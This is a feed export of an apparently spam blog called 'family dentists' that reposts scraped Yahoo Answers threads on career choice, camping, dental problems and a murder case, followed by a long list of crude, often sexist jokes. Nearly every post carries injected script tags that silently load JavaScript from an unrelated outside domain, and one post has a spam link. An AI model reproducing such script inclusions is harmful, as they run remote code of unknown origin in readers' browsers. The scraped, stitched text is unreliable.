tag:blogger.com,1999:blog-89118848503738476582024-03-14T01:19:00.134-07:00family dentistsArkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.comBlogger329125tag:blogger.com,1999:blog-8911884850373847658.post-58248765753485137502010-05-21T20:31:00.000-07:002010-05-21T20:31:00.998-07:00Career Choice Help?My family is constantly expecting me to end up being a successful doctor/dentist/someone who makes a lotttt of money. I tell them that I want to be a doctor, but I really want to look into fashion %26amp; designing...I know that if I tell them this, they will be disappointed, especially since my older sister is majoring in biology in college and is pursuing her career of becoming a general surgeon. What should I do? Should I agree with my parents and become a doctor, or should I tell them what I want to be? I don't want them to completely give up on me or anything...<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Career Choice Help?<br>Ultimately, you are the one who will have to live with your choice, not your parents. They may be upset at first, but eventually they will understand. However keep this in mind, Fashion %26amp; Designing is sort of a hit or miss feild.. either youre making big bucks or stuck in the home decor department of Walmart. Either way, do what makes you happy.<br>Reply:If your parents want ou to be either a doctor/dentist/someone who makes a lotttt of money, and you want to be a fashion designer. <br><br /><br /><br><br /><br />Would you rather do a job you don't want to do and have your parents proud of you or be happy with your job and enjoy it and have your parents a little mad at you.<br><br /><br /><br><br /><br />You should personally do what you want to do, it is your life, not theirs and your in charge of your destiny. <br><br /><br /><br><br /><br />Who knows, you could become a very successful fashion desginer.<br><br /><br /><br><br /><br />I hope this helps!<br><br /><br /><br><br /><br />Cheers!<br>Reply:you really need to end up doing something that makes you happy because you will be spending all your time doing it. Tell them in a calm clear discussion how you feel, have reasons to support your decision and have a mature discussion with them, this will usually work. If you ended up marrying a doctor you would still have a lot of money and there are opportunities to earn lots of money in fashion and design if you work hard. good luck!<br>Reply:Career choice depends entirely on you.<br><br /><br />It is you who going to take a job not them.<br><br /><br /><br><br /><br />It nice to listen to be advise on what choices but the last thing its up<br><br /><br />to you to make choices and decisions.<br><br /><br /><br><br /><br />They wont give up on you, a family member will always give support<br><br /><br />Sit with them, explain your feelings and your choice and they will understand.<br><br /><br /><br><br /><br />Money is not everything, what u like to do will give happiness.<br><br /><br />Eg: I am a computer technician now, i am a gal, i used to have interest in computers when i joined secondary school and thats what i chose as my career and studied in computer college, I am happy with my career. Its 7 years now in this profession.<br><br /><br />Choose what will make you happy<br>Reply:Its your life, do what makes you happy (I know that sounds cliche) but its true. <br><br /><br />Chase your dreams, not someone else's. You don't want to go through life thinking, what if? I'm sure you don't do everything they want you to do right? So live your life and enjoy it. They will either understand at some point or they won't, lets see what kind of parents they are (I mean no disrespect there). <br><br /><br />If you don't have your own dreams then you don't really have your own life. <br><br /><br /><br><br /><br />Good Luck on whatever you choose.<br>Reply:Everybody will tell you to do 'what makes you happy'. But I would say to - think about why you want to get in to fashion and designing?..Dont confuse passion with talent - if you are passionate about something thats great, but to do it as a career needs talent (especially in a field as fashion etc)...<br><br /><br />If you absolutely hate Medicine then thats a different question - then you absolutely cannot think of doing it as a career as you will be very unhappy. But if you are having a hard time deciding between fashion and Medicine - think about all the pro's and cons' and think about your own personality, what kind of life you want to lead. <br><br /><br />Sometimes children tend to like to do what their parents dont want them to do - this in turn confuses them and they tend to move towards other ideas.<br><br /><br />Dont just do it to make your parents happy or unhappy - and you seem like a person who cares about what your parents think of you, and thats a great quality. <br><br /><br />I have moved from one course to another trying to find my path, and now I think I've finally found it - this is what my parents wanted me to do all along!..but I had to learn the hard way!...Parents are not always rigth but they are not always wrong either!...<br><br /><br />Remember real hapiness is not just your own but to see that others around you happy aswell. Im dont mean that you have to do what makes your parents happy - but really think about every possible angle and then decide what you want to do. Take a peice of paper and write down all the Pro's and Con's.<br><br /><br />I wish you all the best in whatever path you choose!. Good Luck<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-75396301212016438172010-05-21T20:30:00.002-07:002010-05-21T20:30:45.127-07:00Live among the camping lifestyle?I hate the fact of having to live in a modern society. With walmart and all these companies wanting your money I feel used. I love to camp and if i could I would camp my whole life. Im thinking of going to college and is almost done with highschool. This is my last year but I dont want to have to go back to school and continue college and find a carrer. I rather live a life that god gave to me and have what I need to live and not what I want. It would make me feel so much better and life would be better this way. But my family is counting on me to continue college and expect me to become a dentist or pediatrician since I like children. But I dont want to work inside, but have been told that these careers are easy and you have weekends off and get good money to support your family. But I'd rather live a life without much technology. But would be hard to raise my family. What should I do.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Live among the camping lifestyle?<br>If you have a family of your own, you have a life with them and need to include them in your decision. If it's your mom and dad and siblings, you aren't tied down with them.<br><br /><br /><br><br /><br />I think I agree with you, I'd rather live on the land instead of in a suburban neighborhood, but I can't. I have no land to live off of. A part of living on earth is following the guidelines set by civilization, so you'd have to live on your own land, and to get land, you'd need to buy it and pay taxes on it forever. If you can figure out a way to be gainfully employed and live simply, go for it, then tell me how you did it.<br>Reply:There are four main differences between a camp and a house.<br><br /><br /><br><br /><br />1. A camp shelter is inferior to a house in thermal insulation and moisture control.<br><br /><br />2. A camp shelter is more mobile than a house.<br><br /><br />3. A camp shelter is usually more isolated than a house.<br><br /><br />4. The county will charge you tax on a house, which you'll have to pay or their armed thugs will seize it and drive you away; they won't bother to tax your tent (probably).<br><br /><br /><br><br /><br />You can still buy a house in the hilly eastern part of West Virginia, or the hilly western part of Virginia, along with two acres of land, for about $40,000. The house will probably be a 625 square foot one-floor, one-bathroom frame house, or a 720 square foot A-frame with one bathroom and a spare bedroom upstairs. But that's way better than a camp tent or hammock.<br><br /><br /><br><br /><br />The tax on a small property in West Virginia is about $150 each year. You pay it by taking a pocket full of cash to the sheriff's office at the courthouse and forking over as much of that cash as they claim you "owe" because you "own" a house in "their" jurisdiction.<br><br /><br /><br><br /><br />You can pretend that your house is a very elite base camp, from which you make your daily excursions. But if you're in the area I mentioned, watch out for BEARS!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-83000577637984999432010-05-21T20:30:00.001-07:002010-05-21T20:30:30.161-07:00Can somebody write the summary of this article?Wife accused of part in slay of dentist husband can't see daughter in jail <br><br /><br />BY JONATHAN LEMIRE <br><br /><br />DAILY NEWS STAFF WRITER <br><br /><br /><br><br /><br />Friday, March 21st 2008, 4:00 AM <br><br /><br /><br><br /><br />A Queens doctor accused of plotting her husband's murder was denied jailhouse visits with their daughter Thursday.<br><br /><br /><br><br /><br />Mazoltuv Borukhova remained expressionless as Queens Family Court Judge Linda Tally ruled that Borukhova's daughter, 5-year-old Michelle, could still have a weekly phone call but could not go to see her mother on Rikers Island.<br><br /><br /><br><br /><br />Tally recommended that when Michelle is moved from foster care next month, the Administration for Children's Services place her with either Joseph or Gavriel Malakov, the brothers of slain dentist Daniel Malakov.<br><br /><br /><br><br /><br />"We think the baby should be with us," said Joseph Malakov after the court appearance. "It's my brother's child... [We] feel this is the right decision."<br><br /><br /><br><br /><br />Gavriel Malakov, who held his fist aloft in triumph after the judge's recommendation, glared at Borukhova throughout the hearing but stayed clear of her sister Natalla Natanova, who was indicted Wednesday for allegedly threatening him.<br><br /><br /><br><br /><br />Borukhova is charged with enlisting her uncle, 50-year-old Mikhail Mallayev of formerly Soviet Georgia, to shoot her estranged husband, Daniel Malakov, in October after he was granted custody of their daughter.<br><br /><br /><br><br /><br />Borukhova's family should still get regular visits with Michelle, Tally suggested, although ACS will make the final decision.<br><br /><br /><br><br /><br />"They could be placing the child with a family that has spent the last six months attacking the mother's family in the press," said Borukhova's lawyer, Florence Fass. "We disagree with the recommendation."<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Can somebody write the summary of this article?<br>you write it. no one on yahoo is your "bi*ch"<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://teva-men-hiking-shoes.blogspot.com/>men hiking shoes</a>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-90113864941334307072010-05-21T20:30:00.000-07:002010-05-21T20:30:12.753-07:00Has anyone ever seen a 4 year old that only has 5 baby teeth and only 4 adult molars??My son is almost 4 years old. He did not get any teeth until he was about 2 and half years old. The only baby teeth he does have are 5 molar teeth. We did x-rays today whihc showed that he has no other baby teeth to come and that in fact the teeth he does have do not have adult teeth plus he only had adult teeth for his 4 very back molars. I am missing my lower 4 front teeth which is a genetic thing that is passed along within my dads family but no one has seen anything like what my son has. The dentist was very surprised and is doing research because out of the 28 adult teeth you should have (not including wisedom teeth) he is therefore missing 24....the most this dentist has ever seen is someone missing 9. If anyone has heard of anything like this please let me know and if you knwo any causes as well or any links to which I may go to to research this! Thanks!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Has anyone ever seen a 4 year old that only has 5 baby teeth and only 4 adult molars??<br>no<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-20187337832938736912010-05-21T20:29:00.003-07:002010-05-21T20:29:57.464-07:00How can I get "pro bono" dental work or denturesI am single woman unemployed very low income & state won'thelpAbout 4 years ago I was in an abusive relationship that at the end I was in the hospital in intensive care, beaten with a crowbar,most of my back teeth I had swallowed during the attack the rest had been broken off,cracked or chipped. I have since then been to the dentist one time when I had insurance, a job,and a family member that would help me out during the recovery. Right now I am unemployed,in a town that I truely don't have anyone that I can rely on to truely help if needed,my living situation is I now rent a room in a home that has no real privacy,and my transportation is currently bus,bike,or walk and I can't do that after oral surgery.Medical coverage in this state that I live does not cover "cosmetic" procedures and dentures,or bridges,caps,etc. are considered cosmetic.They will pay to pull all your teeth but they will not help get you new ones!! I like to eat.So..What can I do to get my teeth fixed and looking decent so that I can someday again smile.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>How can I get "pro bono" dental work or denturesI am single woman unemployed very low income %26amp; state won'thelp<br>Go to your local state teaching hospital ask for the dental school and you can have better teeth than the rich and famous!<br>Reply:I just came across your question. What state are you in? If it is Texas I may be able to help you. <span>Report It</span><br /> <br>Reply:There maybe a battered womens program where they will help you to get your life back in order. ask around, try to find a lab that makes dentures this way you don't have to pay a dentists fee,you can just pay for the dentures themselves,about 3 to 4 hundred dollars.In NJ call Dr. Becker up north somewhere I for got the town,he's good and cheep.You can SMILE you've been through alot and your a stronge women.The best of luck to you!Just another thought put something on EBay telling your story,and ask for help I've heard of people doing thing like that.Put your frown up for sale to purchase a smile:)Good luck!!!!!!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-10933179447788260092010-05-21T20:29:00.002-07:002010-05-21T20:29:41.442-07:00Hi!Funny or no?24 Fun Things To Do In An Elevator... 1. Grimace painfully while smacking your forehead and muttering: "Shut up, dammit, all of you just shut UP!" <br><br /><br />2. Whistle the first seven notes of "It's a Small World" incessantly. <br><br /><br />3. Crack open your briefcase or purse, and while peering inside ask: "Got enough air in there?" <br><br /><br />4. Offer name tags to everyone getting on the elevator. Wear yours upside-down. <br><br /><br />5. Stand silent and motionless in the corner, facing the wall, without getting off. <br><br /><br />6. When arriving at your floor, grunt and strain to yank the doors open, then act embarrassed when they open by themselves. <br><br /><br />7. Greet everyone getting on the elevator with a warm handshake and ask them to call you Admiral. <br><br /><br />8. On the highest floor, hold the door open and demand that it stay open until you hear the penny you dropped down the shaft go "plink" at the bottom. <br><br /><br />9. Stare, grinning, at another passenger for a while, and then announce: "I've got new socks on!" <br><br /><br />10. When at least 8 people have boarded, moan from the back: "Oh, no, not now, damn motion sickness!" <br><br /><br />11. Meow occasionally. <br><br /><br />12. Holler "Chutes away!" whenever the elevator descends. <br><br /><br />13. Walk on with a cooler that says "human head" on the side. <br><br /><br />14. Stare at another passenger for a while, then announce "You're one of THEM!" and move to the far corner of the elevator. <br><br /><br />15. Wear a puppet on your hand and talk to other passengers "through" it. <br><br /><br />16. When the elevator is silent, look around and ask "is that your beeper?" <br><br /><br />17. Say "Ding!" at each floor. <br><br /><br />18. Say "I wonder what all these do" and push the red buttons. <br><br /><br />19. Listen to the elevator walls with a stethoscope. <br><br /><br />20. Draw a little square on the floor with chalk and announce to the other passengers that this is your "personal space." <br><br /><br />21. Announce in a demonic voice: "I must find a more suitable host body." <br><br /><br />22. Make explosion noises when anyone presses a button. <br><br /><br />23. Wear "X-Ray Specs" and leer suggestively at other passengers. <br><br /><br />24. Stop at every floor, run off the elevator, then run back on. <br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />People Really Said These Things In Court Q: What is your date of birth? <br><br /><br />A: July fifteenth. <br><br /><br />Q: What year? <br><br /><br />A: Every year. <br><br /><br /><br><br /><br />Q: This myasthenia gravis - does it affect your memory at all? <br><br /><br />A: Yes. <br><br /><br />Q: And in what ways does it affect your memory? <br><br /><br />A: I forget. <br><br /><br />Q: You forget. Can you give us an example of something that you've forgotten? <br><br /><br /><br><br /><br />Q: All your responses must be oral, okay? What school did you go to? <br><br /><br />A: Oral. <br><br /><br /><br><br /><br />Q: How old is your son - the one living with you. <br><br /><br />A: Thirty-eight or thirty-five, I can't remember which. <br><br /><br />Q: How long has he lived with you? <br><br /><br />A: Forty-five years. <br><br /><br /><br><br /><br />Q: What was the first thing your husband said to you when he woke that morning? <br><br /><br />A: He said, "Where am I, Cathy?" <br><br /><br />Q: And why did that upset you? <br><br /><br />A: My name is Susan. <br><br /><br /><br><br /><br />Q: Sir, what is your IQ? <br><br /><br />A: Well, I can see pretty well, I think. <br><br /><br /><br><br /><br />Q: Do you know if your daughter has ever been involved in the voodoo occult? <br><br /><br />A: We both do. <br><br /><br />Q: Voodoo? <br><br /><br />A: We do. <br><br /><br />Q: You do? <br><br /><br />A: Yes, voodoo. <br><br /><br /><br><br /><br />Q: Now doctor, isn't it true that when a person dies in his sleep, he doesn't know about it until the next morning? <br><br /><br /><br><br /><br />Q: The youngest son, the twenty-year old, how old is he?<br><br /><br /><br><br /><br />Q: Were you present when your picture was taken? <br><br /><br />Q: Was it you or your younger brother who was killed in the war? <br><br /><br />Q: Did he kill you? <br><br /><br />Q: How far apart were the vehicles at the time of the collision? <br><br /><br />Q: You were there until the time you left, is that true? <br><br /><br />Q: How many times have you committed suicide? <br><br /><br />Q: So the date of conception (of the baby) was August 8th? <br><br /><br />A: Yes. <br><br /><br />Q: And what were you doing at that time? <br><br /><br /><br><br /><br />Q: She had three children, right? <br><br /><br />A: Yes. <br><br /><br />Q: How many were boys? <br><br /><br />A: None. <br><br /><br />Q: Were there any girls? <br><br /><br /><br><br /><br />Q: You say the stairs went down to the basement? <br><br /><br />A: Yes. <br><br /><br />Q: And these stairs, did they go up also? <br><br /><br />Q: Mr. Slattery, you went on a rather elaborate honeymoon, didn't you? <br><br /><br />A: I went to Europe, sir. <br><br /><br />Q: And you took your new wife? <br><br /><br /><br><br /><br />Q: How was your first marriage terminated? <br><br /><br />A: By death. <br><br /><br />Q: And by whose death was it terminated? <br><br /><br /><br><br /><br />Q: Can you describe the individual? <br><br /><br />A: He was about medium height and had a beard. <br><br /><br />Q: Was this a male, or a female? <br><br /><br /><br><br /><br />Q: Is your appearance here this morning pursuant to a deposition notice which I sent to your attorney? <br><br /><br />A: No, this is how I dress when I go to work. <br><br /><br /><br><br /><br />Q: Doctor, how many autopsies have you performed on dead people? <br><br /><br />A: All my autopsies are performed on dead people. <br><br /><br />Q: Do you recall the time that you examined the body? <br><br /><br />A: The autopsy started around 8:30 p.m. <br><br /><br />Q: And Mr. Dennington was dead at the time? <br><br /><br />A: No, he was sitting on the table wondering why I was doing an autopsy. <br><br /><br /><br><br /><br /><br><br /><br />The Blonde %26amp; The Coke Machine It was a really hot day and this blonde decided she would go buy a coke. She went to the coke machine and when she put her money in, a coke came out - so she kept putting money in. <br><br /><br />And since it was such a hot day, a line had formed behind her. Finally, a guy on line said, "Will you hurry up? We're all hot and thirsty!" <br><br /><br />And the blonde said, "No way. I'm still winning!" <br><br /><br /><br><br /><br />Poor Old Man This old man goes to the doctor's. <br><br /><br />"Help, Doc. I just got married to this 21 year old woman. She is hot and all she wants to do is have sex all day long." <br><br /><br />"So what's the problem?" <br><br /><br />"I can't remember where I live."<br><br /><br /><br><br /><br />Blonde in a Car A blonde walked into a gas station and said to the manager, ''I locked my keys in my car. Do you have a coat hanger or something I can stick through the window to unlock the door?'' <br><br /><br />''Why sure,'' said the manager, ''we have something that works especially well for that.'' <br><br /><br />A couple minutes later, the manager walked outside to see how the blonde was doing and he heard another voice. ''No, no! A little to the left,'' said the other blonde inside the car.<br><br /><br /><br><br /><br />Daughter's Prayer A family was having some people to dinner. At the table, the mother turned to her six-year-old daughter and said, "Dear, would you like to say the blessing?" <br><br /><br />"I wouldn't know what to say," replied the little girl, shyly. <br><br /><br />"Just say what you hear Mommy say, sweetie," the woman said. <br><br /><br />Her daughter took a deep breath, bowed her head, and solemnly said, "Dear Lord, why the hell did I invite all these people to dinner!?!" <br><br /><br /><br><br /><br /><br><br /><br />Your Family Is So Poor Your family is so poor, when I went to your house I stepped on a cigarette and your Daddy shouted, “Hey, who turned off the heater!” <br><br /><br /><br><br /><br /><br><br /><br />Tooth Pulling A man and his wife entered a dentist's office. <br><br /><br />The wife said, "I want a tooth pulled. I don't want gas or Novocain because I'm in a terrible hurry. Just pull the tooth as quickly as possible." <br><br /><br />"You're a brave woman," said the dentist. "Now, show me which tooth it is." <br><br /><br />The wife turns to her husband and says: "Open your mouth and show the dentist which tooth it is, dear." <br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />Grass Eater A man was riding in the back of his limousine when he saw a man eating grass by the roadside. He ordered his driver to stop and he got out to investigate. <br><br /><br />"Why are you eating grass?" he asked the man. <br><br /><br />"I don't have any money for food," the poor man replied. <br><br /><br />"Oh, please come to my house!" <br><br /><br />"But sir, I have a wife and four children..." <br><br /><br />"Bring them along!" the rich man said. <br><br /><br />They all climbed into the limo. Once underway, the poor fellow said, "Sir, you are too kind. Thank you for taking all of us in." <br><br /><br />The rich man replied, "No, you don't understand. The grass at my house is over three feet tall!"<br><br /><br /><br><br /><br />You''re So Ugly You''re so ugly, when yo'' mama dropped you off at school, she got a ticket for littering!<br><br /><br /><br><br /><br />Pinocchio and Splinters One day Pinocchio came to Gepetto with a problem. <br><br /><br />"Every time I have sex with my girlfriend, she gets splinters. What can I do about this?" <br><br /><br />"Have you tried sandpaper?" Pinocchio hadn't, so he went to try it. <br><br /><br />"Pinnochio," said Gepetto a few weeks later. "How is the problem work out with your <br><br /><br />"Girlfriend?" said Pinnochio. "Who needs a girlfriend when you have sandpaper?"<br><br /><br /><br><br /><br /><br><br /><br />Clinton, Bush, and Washington... Bill Clinton, George Bush and George Washington were on the Titanic. <br><br /><br />As the boat was sinking, George Washington heroically shouts, ''Save the women!'' <br><br /><br />George Bush hysterically screeches, ''Screw the women!'' <br><br /><br />And Bill Clinton's eyes light up and he says, ''Do we have time?''<br><br /><br /><br><br /><br /><br><br /><br />Not Going To Try This Again A blonde decides to try horseback riding, even though she has had no lessons or prior experience. She mounts the horse unassisted and it immediately springs into motion. It gallops along at a steady and rhythmic pace, but the blonde begins to slip from the saddle. In terror, she grabs for the horse''s mane, but cannot seem to get a firm grip. <br><br /><br />She tries to throw her arms around the horse''s neck, but she slides down the side of the horse anyway. The horse gallops along, seemingly ignorant of its slipping rider. <br><br /><br />Finally, giving up her frail grip, the blonde attempts to leap away from the horse and throw herself to safety. Unfortunately, her foot becomes entangled in the stirrup, and she is now at the mercy of the horse''s pounding hooves as her head is struck against the ground over and over. <br><br /><br />She starts to lose consciousness, but to her great fortune, Bobby, the Wal-Mart greeter, sees her and unplugs the horse. <br><br /><br /><br><br /><br /><br><br /><br />Mini Meanie The golf course was haunted by a malicious, evil leprechaun who exploited the ambitions of the poorer players. He popped up beside one unfortunate man who was participating in a club competition. <br><br /><br />"Look," he said, "if you agree never to court a woman, flirt with a girl or marry, <br><br /><br />I'll help you win." <br><br /><br />"Done," shouted the young golfer. The leprechaun was very pleased with conniving ways, and chuckled merrily. <br><br /><br />When the golfer was in the clubhouse being praised by the other members, the leprechaun popped up on the shelf of the locker. "Hey," said the little elf, "I have to have your name for my records. What is it?" <br><br /><br />"Father Murphy," grinned the golfer as he adjusted his Roman collar.<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />Son: "Daddy, I have to write a special report for school, but I don't know what Politics is."<br><br /><br /><br><br /><br />Father: "Well, let's take our home as an example. I am the bread-winner, so let's call me Capitalism. Your Mum is the administrator of money, so we'll call her Government. We take care of your need, so let's call you The People. We'll call the maid the Working Class and your brother we can call The Future. Do you understand son?"<br><br /><br /><br><br /><br />Son: "I'm not really sure, Dad. I'll have to think about it."<br><br /><br /><br><br /><br />That night awakened by his brother's crying, the boy went to see what was wrong. Discovering that the baby had seriously soiled his diaper, the boy went to his parents' room and found his mother sound asleep. He went to the maid's room, where, peeking through the keyhole, he saw his father in bed with the maid. The boy's knocking went totally unheeded by his father and the maid, so the boy returned to his room and went back to sleep.<br><br /><br /><br><br /><br />The next morning he reported to his father.<br><br /><br /><br><br /><br />Son: "Dad, now I think I understand what Politics is."<br><br /><br /><br><br /><br />Father: "Good son! Can you explain it to me in your own words?"<br><br /><br /><br><br /><br />Son: "Well Dad, while Capitalism is screwing the Working Class, Government is sound asleep, the People are being completely ignored and the Future is full of ****."<br><br /><br /><br><br /><br /><br><br /><br />The Deacon and the Preacher There once was this deacon and this preacher, and they had been friends for a long time. One day the deacon got sick and was put in the hospital, so the preacher decided to go and see his old friend. <br><br /><br />When he walked into the hospital room, the preacher noticed all the hoses and medical equipment attached to the deacon. The preacher walked over and kneeled by the bed and asked, ''How ya doing?'' <br><br /><br />The deacon motioned at a pad and pen on the nightstand. ''You want that?'' the preacher asked him, and the deacon nodded his head yes. So the preacher handed his friend the pad and pen and the deacon began to write. All of a sudden the deacon died. <br><br /><br />At his funeral, the preacher was asked to deliver the service. ''He was a good man and I'll never forget him,'' the preacher said, ''I was with him when he died and as a matter of fact I have his last thought in my coat pocket here.'' <br><br /><br />The preacher reaches into his pocket and pulls out the paper. ''Please, get up! You're kneeling on my oxygen hose!''<br><br /><br /><br><br /><br /><br><br /><br />Too Smart A first-grade teacher, Ms. Brooks, was having trouble with one of her students. <br><br /><br />The teacher asked, "Harry, what's your problem?" <br><br /><br />Harry answered, "I'm too smart for the 1st grade. My sister is in the 3rd grade and I'm smarter than she is! I think I should be in the 3rd grade too!" <br><br /><br />Ms. Brooks had had enough. She took Harry to the principal's office. While Harry waited in the outer office, the teacher explained to the principal what the situation was. The principal told Ms. Brooks he would give the boy a test. If he failed to answer any of his questions he was to go back to the 1st grade and behave. She agreed. <br><br /><br />Harry was brought in and the conditions were explained to him and he agreed to take the test. <br><br /><br />Principal: "What is 3 x 3?" <br><br /><br />Harry: "9". <br><br /><br />Principal: "What is 6 x 6?" <br><br /><br />Harry: "36". <br><br /><br />And so it went with every question the principal thought a 3rd grader should know. <br><br /><br />The principal looks at Ms. Brooks and tells her, "I think Harry can go to the 3rd grade." <br><br /><br />Ms. Brooks says to the principal, "Let me ask him some questions." The principal and Harry both agreed. <br><br /><br />Ms. Brooks asks, "What does a cow have four of that I have only two of?" Harry, after a moment: "Legs." <br><br /><br />Ms. Brooks: "What is in your pants that you have but I do not have?" The principal wondered, why would she ask such a question! Harry replied: "Pockets." <br><br /><br />Ms. Brooks: "What does a dog do that a man steps into?" Harry: "Pants" <br><br /><br />Ms. Brooks: What's starts with a C, ends with a T, is hairy, oval, delicious and contains thin, whitish liquid? <br><br /><br />Harry: "Coconut." <br><br /><br />The principal sat forward with his mouth hanging open. <br><br /><br />Ms. Brooks: "What goes in hard and pink then comes out soft and sticky?" The principal's eyes opened really wide and before he could stop the answer. <br><br /><br />Harry: "Bubble gum" <br><br /><br />Ms. Brooks: "What does a man do standing up, a woman does sitting down and a dog does on three legs?" <br><br /><br />Harry: "Shake hands." <br><br /><br />The principal was trembling. <br><br /><br />Ms. Brooks: "What word starts with an 'F' and ends in 'K' that means a lot of heat and excitement?" <br><br /><br />Harry: "Firetruck" <br><br /><br />The principal breathed a sigh of relief and told the teacher, "Put Harry in the fifth-grade, I got the last seven questions wrong...... <br><br /><br /><br><br /><br />A priest, Jesus, and an old man tee off.<br><br /><br /><br><br /><br />The priest drives the green within 5 yards of the hole.<br><br /><br /><br><br /><br />Jesus slices the ball and it goes into the water hazard. He quickly runs across the water and hits his second onto the green 2 inches from the hole.<br><br /><br /><br><br /><br />The old man tees off with a short worm burner that trickles into the hazard. Soon after a fish eats the ball and swims across the pond with it in its mouth. Just then an eagle swoops down and snatches the fish with the golf ball and flies off. The eagle loses its grip and drops the fish on the green. The fish then spits out the ball and it rolls into the hole for a hole in one.<br><br /><br /><br><br /><br />Jesus turns to the old man and replies, "Play fair dad!"<br><br /><br /><br><br /><br /><br><br /><br />Yesterday I was at the local Wal-Mart. Now I was only in there for about 5 minutes and when I came out, there he was - a damn Motorcycle cop writing a parking ticket ...<br><br /><br /><br><br /><br />So, I went to him and said: "Come on Buddy, how about giving a guy a break?"<br><br /><br /><br><br /><br />He simply ignored me and continued writing the ticket.<br><br /><br /><br><br /><br />So, I called him a pencil necked Nazi. He then glared at me and started writing another ticket for having bald tires!<br><br /><br /><br><br /><br />So, I called him a sorry excuse for a human being. He then finished the second ticket and put it on the car with the first. Then he started to write a third ticket!<br><br /><br /><br><br /><br />This went on for about 25 minutes ... the more I abused and hurled insults at him, the more tickets he wrote ...<br><br /><br />But hey, I didn't give a damn. My car was parked around the corner ...<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />A blonde girl comes rushing home to her mum and says: "Mummy mummy! Today at school everyone could only count to 3 but I can count to 5. Look - 1, 2, 3, 4, 5. Does that mean I am special mummy?"<br><br /><br /><br><br /><br />"Yes dear it does."<br><br /><br /><br><br /><br />The next day the blonde girl comes running in again and says: "Mummy mummy! Today at school everyone could only say the alphabet from A to C but I can go until E. Look - A, B, C, D, E. Does that mean I am special mummy?"<br><br /><br /><br><br /><br />"Yes dear it does."<br><br /><br /><br><br /><br />The next day the blonde girl comes rushing home and says "Mummy mummy! Today at school we were getting changed for physical excercises and all the other girls had really flat chests but I had these ...!" She opens her blouse and reveals a humungous pair of DD breasts. "Is it because I am special mummy?"<br><br /><br /><br><br /><br />"No dear it's because you are 25."<br><br /><br /><br><br /><br /><br><br /><br />A blonde desperately needed some money, so she decided to kidnap someone. So she went to the park and she grabbed this kid.<br><br /><br /><br><br /><br />Then she wrote a note saying, "If you ever want to see your child again, leave 10,000 dollars in a paper bag in the northwest corner of the park." then she signed it 'THE BLONDE' and told the kid to give it to his mom.<br><br /><br /><br><br /><br />The next day she went to the northwest corner of the park and got the paper bag. It had the money in it and a note from the mother that said, "How could you do this to another blonde?"<br><br /><br /><br><br /><br /><br><br /><br />Two blondes were walking through the woods and they came to some tracks. The first blonde said "These look like deer tracks." and the other one said: "No they look like moose tracks." They argued and argued for a while and they were still arguing when the train hit them.<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />I knew a blonde that was so stupid that.......<br><br /><br /><br><br /><br />* she called me to get my phone number.<br><br /><br /><br><br /><br />* she spent 20 minutes looking at the orange juice box because it said "concentrate."<br><br /><br /><br><br /><br />* she put lipstick on her forehead because she wanted to make up her mind.<br><br /><br /><br><br /><br />*she tried to put M%26amp;M's in alphabetical order.<br><br /><br /><br><br /><br />*she sent me a fax with a stamp on it.<br><br /><br /><br><br /><br />*she tried to drown a fish.<br><br /><br /><br><br /><br />*she thought a quarterback was a refund.<br><br /><br /><br><br /><br />*she got locked in a grocery store and starved to death.<br><br /><br /><br><br /><br />*she tripped over a cordless phone.<br><br /><br /><br><br /><br />*she took a ruler to bed to see how long she slept.<br><br /><br /><br><br /><br />*she asked for a price check at the Dollar Store.<br><br /><br /><br><br /><br />*she studied for a blood test.<br><br /><br /><br><br /><br />*she thought Meow Mix was a CD for cats.<br><br /><br /><br><br /><br />*when she heard that 90% of all crimes occur around the home, she moved.<br><br /><br /><br><br /><br />*when she missed the 44 bus, she took the 22 bus twice instead.<br><br /><br /><br><br /><br />*when she took you to the airport and saw a sign that said "Airport Left" she turned around and went home<br><br /><br /><br><br /><br />~~~~<br><br /><br /><br><br /><br />Couldn't learn to water ski because she couldn't find a lake with a slope.<br><br /><br /><br><br /><br />Got excited because she finished a jigsaw puzzle in 6 months and the box said "2 to 4 years"<br><br /><br /><br><br /><br />Couldn't call 911 because there was no 11 on any phone button.<br><br /><br /><br><br /><br />When asked what the capital of California was; answered "C".<br><br /><br /><br><br /><br />Baked a turkey for 3 days because the instructions said 1 hour per pound and she weighed 125.<br><br /><br /><br><br /><br />After losing in a breaststroke swimming competition, complained that the other swimmers were using their arms.<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />A Blonde's Year in Review<br><br /><br />January: Took new scarf back to store because it was too tight.<br><br /><br />February: Fired from pharmacy job for failing to print labels...Helllloooo!!!... bottles won't fit in typewriter!!!<br><br /><br />March: Got really excited - finished jigsaw puzzle in 6 months... Box said "2-4 years!"<br><br /><br />April: Trapped on escalator for hours... power went out!!!<br><br /><br />May: Tried to make Kool-Aid... wrong 